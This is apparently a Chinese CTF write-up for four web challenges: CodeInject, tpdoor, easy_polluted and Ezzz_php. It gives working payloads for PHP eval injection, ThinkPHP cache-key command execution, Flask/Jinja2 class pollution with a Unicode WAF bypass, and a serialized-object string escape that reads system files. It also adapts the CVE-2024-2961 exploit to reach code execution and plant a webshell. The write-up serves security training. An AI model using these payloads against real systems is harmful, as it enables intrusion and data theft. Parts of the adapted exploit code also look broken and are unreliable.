目录
CodeInject
tpdoor
easy_polluted
Ezzz_php
CodeInject
eval里打代码注入
1=1);system("tac /0*");//
tpdoor
可以传参isCache给../../config/route.php写入$config['request_cache_key']
打的是CheckRequestCache中间件解析的漏洞
think\middleware\CheckRequestCache
是 ThinkPHP 框架中的一个中间件,作用是检查和处理请求的缓存。它的主要功能是在用户请求时检查是否有可用的缓存,如果缓存可用则直接返回缓存内容,从而避免重新处理请求,提升性能。
通过 file_put_contents() 函数动态地修改 route.php 文件中的缓存相关配置(如缓存键、过期时间等)。var_export() 确保 $config 数组可以被转换为合法的 PHP 代码并存储到文件中,以便下次项目运行时这些新的配置可以被加载和应用
Everything一搜都是
代审发现只要传入$key中含|即可任意代码执行
而$key是从$config['request_cache_key']中获取的
payload:
?isCache=cat%20/000*|system
执行后等一会,再次访问触发缓存机制
easy_polluted
/可以原型链污染,改掉app.secretkey之后访问/admin拿到flag
flag.html不是正常的渲染格式,所以也要污染掉模板字符串
用json.loads可以解析 Unicode 来绕过 waf
可以做一个小lab
import json# 包含 Unicode 编码的 JSON 字符串json_data = '{"message": "Hello, \\u4e16\\u754c"}' # \\u4e16\\u754c 表示 "世界"# 使用 json.loads 解析parsed_data = json.loads(json_data)# 输出解析结果print(parsed_data["message"]) # 输出: Hello, 世界
注意bp发包的时候要把响应头Set-Cookie的内容复制到Cookie里
先污染jinja2模板字符串
{ "__init__" : { "__globals__" : { "app" : { "jinja_env" :{"variable_start_string" : "[#","variable_end_string":"#]"} } } }
{ "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : { "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : { "\u0061\u0070\u0070" : { "\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076" :{"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"[#","\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"#]"} } } }}
再污染secretkey
{ "__init__" : { "__globals__" : { "app" : { "secret_key" :"Z3r4y"} } } }
{ "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : { "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : { "\u0061\u0070\u0070" : { "\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079" :"Z3r4y" } } }}
最后登录将username和password写进session
username=adminer&password=Z3r4y
带着响应头里的session访问/admin拿到flag
Ezzz_php
substrstr($data) 的作用是从输入的字符串 $data 中,提取第一个方括号 [ 和 ] 之间的内容
考的是mb_strpos与mb_substr结合的误用
建议是先本地搭一个测试用
<?php highlight_file(__FILE__);error_reporting(0);function substrstr($data){ $start = mb_strpos($data, "["); $end = mb_strpos($data, "]"); return mb_substr($data, $start + 1, $end - 1 - $start);}class read_file{ public $start; public $filename="/etc/passwd"; public function __construct($start){ $this->start=$start; } public function __destruct(){ if($this->start == "gxngxngxn"){ echo 'What you are reading is:'.file_get_contents($this->filename); } }}if(isset($_GET['start'])){ $readfile = new read_file($_GET['start']); $read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag"; if(preg_match("/\[|\]/i", $_GET['read'])){ die("NONONO!!!"); } $ctf = substrstr($read."[".serialize($readfile)."]"); echo $ctf;}else{ echo "Start_Funny_CTF!!!";}
可以看到正常输入就是直接截取到[]之间的内容
每传一个%9f就会往后'推'一个字符
每传一个%f0后面随便跟3个字符就会往前'拉'3个字符
这样就可以打字符串逃逸
注意在逃逸的时候需要添加一个%9f以此来抵消[]的影响,所以要比逃逸字符串数多个%9f
比如要逃逸Z3r4y,就需要6个%9f
生成要逃逸的字符串
<?phpclass read_file{ public $start; public $filename;}$a=new read_file();$a->start='gxngxngxn';$a->filename='/etc/hosts';echo str_repeat('%9f',strlen(serialize($a))+1).serialize($a);//%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fO:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:10:"/etc/hosts";}
同时我们逃逸出的字符不能大于原来的字符数量,所以我们可以传参start来调整原字符的数量,以此逃逸出预期的字符
?start=aaaaaaaa&read=%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fO:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:10:"/etc/hosts";}
发现可以任意文件读取了,但找不到flag
用CVE-2024-2961打LFI to RCE
CVE-2024-2961
cnext-exploits/cnext-exploit.py at main · ambionics/cnext-exploits · GitHub
修改一下send和download即可
def send(self, path: str) -> Response: """Sends given `path` to the HTTP server. Returns the response. """ payload_file = 'O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:' + str(len(path)) + ':"' + path + '";}' payload = "%9f" * (len(payload_file) + 1) + payload_file.replace("+","%2b") filename_len = "a" * (len(path) + 10) url = self.url+f"?start={filename_len}&read={payload}" return self.session.get(url) def download(self, path: str) -> bytes: """Returns the contents of a remote file. """ path = f"php://filter/convert.base64-encode/resource={path}" response = self.send(path) data = response.re.search(b"What you are reading is:(.*)", flags=re.S).group(1) return base64.decode(data)
成功RCE写马
webshell拿flag